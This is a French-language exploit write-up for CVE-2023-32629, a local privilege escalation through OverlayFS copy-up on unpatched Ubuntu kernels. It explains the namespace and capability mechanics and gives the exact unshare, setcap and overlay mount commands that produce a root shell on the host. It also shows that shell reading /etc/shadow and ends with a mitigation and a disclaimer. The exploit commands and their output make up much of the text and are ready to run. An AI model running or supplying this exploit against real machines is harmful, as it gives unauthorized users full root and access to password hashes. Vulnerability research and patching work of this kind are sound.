
Escalade de privilèges locale via OverlayFS - Documentation complète jusqu'à l'escalade totale
Escalade de privilèges locale via OverlayFS - Article complet jusqu'à l'escalade complète
À des fins éducatives et de recherche en sécurité autorisée uniquement.
Sévérité : Élevée
Type : Élévation de privilèges locale (LPE)
Systèmes affectés : Noyaux Ubuntu antérieurs aux correctifs de mai/juin 2023
Condition préalable : Espaces de noms utilisateur non privilégiés activés (par défaut sur Ubuntu)
CVE-2023-32629 est une vulnérabilité dans l'implémentation d'OverlayFS du noyau Linux. Elle abuse de l'interaction entre les espaces de noms utilisateur et les capacités du système de fichiers lors de l'opération de copie vers le haut (copy-up) d'OverlayFS pour réaliser une élévation de privilèges locale depuis n'importe quel utilisateur non privilégié vers le véritable root de l'hôte.
Lorsque vous exécutez unshare -r, le noyau crée un nouvel espace de noms utilisateur et mappe votre UID de l'hôte sur l'UID 0 à l'intérieur de celui-ci :
/proc/self/uid_map:
0 1001 1 ← "UID 0 dans l'espace de noms = UID 1001 (faible privilège) à l'extérieur"
Cela signifie que vous apparaissez comme root à l'intérieur de l'espace de noms, mais le noyau de l'hôte traduit toujours en votre véritable UID lorsqu'il effectue des vérifications de permissions du système de fichiers sur les ressources de l'hôte.
OverlayFS empile un lowerdir (lecture seule) et un upperdir (lecture-écriture) dans une vue fusionnée. Lorsqu'un fichier dans lowerdir est écrit via la vue fusionnée, le noyau le copie d'abord vers upperdir — c'est ce qu'on appelle copy-up.
Point critique : La copie vers le haut est effectuée par le noyau lui-même en utilisant les identifiants de l'hôte, quel que soit l'espace de noms qui l'a déclenchée. Tous les attributs étendus (xattrs), y compris les capacités du système de fichiers, sont conservés pendant cette opération.
| Mécanisme | Nécessite la propriété root | Octroyé par |
|---|---|---|
| Bit SUID | ✅ Oui | chmod u+s |
Capacités (cap_setuid) | ❌ Non | setcap + xattr de confiance |
Cette distinction est au cœur de l'exploit. Les capacités sont honorées par le noyau en se basant uniquement sur le xattr, indépendamment du propriétaire du fichier.
unshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
echo >> m/python3 &&
cp u/python3 /tmp/rootshell &&
chmod 4755 /tmp/rootshell
"
/tmp/rootshell -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
-rwsr-xr-x 1 lowpriv lowpriv 8016833 /tmp/rootshell
PermissionError: [Errno 1] Operation not permitted
Les commandes cp et chmod ont été exécutées à l'intérieur de l'espace de noms, où l'UID 0 correspond à lowpriv sur l'hôte. Donc :
/tmp/rootshell appartenait à lowpriv, pas au vrai rootlowpriv ne donne que les privilèges de lowpriv — que nous avions déjàcp a également supprimé les xattrs de capacité du binaireunshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
echo >> m/python3 &&
m/python3 -c 'import os; os.setuid(0); os.system(\"/bin/bash -p\")'
"
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
cat: /etc/shadow: Permission denied
Le shell était root uniquement à l'intérieur de l'espace de noms. Lorsqu'il a tenté d'accéder à /etc/shadow, le noyau a effectué la vérification des permissions VFS en utilisant l'UID hôte traduit :
UID du processus (dans l'ES): 0 (ressemble à root)
Traduction du noyau : 0 → 1001 (lowpriv sur l'hôte)
Permissions de /etc/shadow : 640 root:shadow
UID vérifié effectivement : 1001 (lowpriv)
Résultat : EACCES — Permission refusée
La bulle de l'espace de noms ne traverse jamais jusqu'au vrai root de l'hôte lorsqu'on touche aux ressources du système de fichiers de l'hôte.
# Étape 1 : Configurer l'OverlayFS à l'intérieur de l'espace de noms et SORTIR
unshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
touch m/python3
"
# touch déclenche la copie vers le haut du noyau : l/python3 → u/python3
# le noyau exécute la copie avec les IDENTIFIANTS DE L'HÔTE, en conservant le xattr cap_setuid
# Étape 2 : Vérifier que la capacité a survécu sur le système de fichiers hôte
getcap u/python3
# u/python3 cap_setuid=eip ← xattr de confiance défini sur le FS hôte
# Étape 3 : Exécuter EN DEHORS de l'espace de noms
u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
root:*:20305:0:99999:7:::
ubuntu:!$6$G/ZfsnyX...
lowpriv:$y$j9T$0XsK...
admin:$y$j9T$TQiE...
1. setcap à l'intérieur de l'espace de noms utilisateur
│
│ écrit cap_setuid comme xattr de confiance sur l/python3
▼
2. touch m/python3 → Copie vers le haut d'OverlayFS déclenchée
│
│ le noyau copie l/ → u/ en utilisant les IDENTIFIANTS DE L'HÔTE
│ TOUS les xattrs sont conservés, y compris cap_setuid
▼
3. u/python3 existe sur le système de fichiers HÔTE
│
│ propriétaire : lowpriv (non pertinent pour les capacités)
│ xattr : cap_setuid=eip (le noyau lui fait confiance)
▼
4. Exécuter u/python3 EN DEHORS de l'espace de noms
│
│ aucun mappage d'UID en vigueur
│ le noyau lit cap_setuid=eip comme capacité au niveau de l'hôte
│ os.setuid(0) → vrai root de l'hôte
▼
5. Le shell a un véritable UID 0
│
│ Les vérifications VFS réussissent en tant que vrai root
└─ /etc/shadow lisible
Le noyau ne devrait pas honorer les xattrs de capacité de confiance qui ont été définis depuis un espace de noms utilisateur lors de la copie vers le haut, car ces xattrs portent la confiance au niveau de l'hôte. Ne pas appliquer cette limite est le bogue.
L'espace de noms nous a donné la possibilité de définir une capacité de confiance sur un fichier ; la copie vers le haut du noyau a fait passer clandestinement cette capacité sur le système de fichiers de l'hôte ; l'exécution en dehors de l'espace de noms l'a rendue réelle.
sysctl -w kernel.unprivileged_userns_clone=0
unshare + mount overlayfs depuis des utilisateurs non privilégiésCet outil est fourni à des fins éducatives et de tests de sécurité autorisés uniquement. Une utilisation non autorisée contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas d'autorisation écrite explicite est illégale. L'auteur n'est pas responsable de toute utilisation abusive.
| À l'intérieur de l'espace de noms | En dehors de l'espace de noms |
|---|
| UID 0 signifie | lowpriv (mappé) | vrai root |
Effet de setuid(0) | sans effet (déjà root-NS) | véritable escalade |
| Accès au FS hôte | traduit → lowpriv | root complet |
cap_setuid honoré | dans l'ES uniquement | oui, au niveau de l'hôte |